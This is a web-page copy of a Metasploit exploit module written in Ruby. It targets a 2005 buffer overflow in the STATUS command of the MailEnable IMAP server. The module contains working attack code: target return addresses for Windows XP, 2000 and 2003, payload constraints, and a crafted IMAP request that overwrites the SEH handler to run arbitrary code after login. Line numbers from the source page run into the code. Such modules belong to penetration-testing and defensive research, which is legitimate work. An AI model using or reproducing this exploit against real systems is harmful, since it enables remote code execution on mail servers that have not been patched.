CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/windows/imap/mailenable_status.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Imap9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',14'Description' => %q{15MailEnable's IMAP server contains a buffer overflow16vulnerability in the STATUS command. With proper17credentials, this could allow for the execution of arbitrary18code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2005-2278'],25[ 'OSVDB', '17844'],26[ 'BID', '14243'],27[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19193'],28],29'Privileged' => true,30'DefaultOptions' =>31{32'EXITFUNC' => 'thread',33},34'Payload' =>35{36'Space' => 450,37'BadChars' => "\x00\x0a\x0d\x20",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' =>42[43['MailEnable 1.54 Pro Universal', { 'Rets' => [9273, 0x1001c019] }], #MEAISP.DLL44['Windows XP Pro SP0/SP1 English', { 'Rets' => [9273, 0x71aa32ad] }],45['Windows 2000 Pro English ALL', { 'Rets' => [9273, 0x75022ac4] }],46['Windows 2003 Server English', { 'Rets' => [9273, 0x7ffc0638] }],47],48'DisclosureDate' => '2005-07-13',49'DefaultTarget' => 0))50end5152def exploit53connect_login5455seh = generate_seh_payload(target['Rets'][1])56buf = rand_text_alphanumeric(target['Rets'][0])57req = "a001 STATUS \".\x00" + buf + seh58req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"59sock.put(req)6061handler62disconnect63end64end656667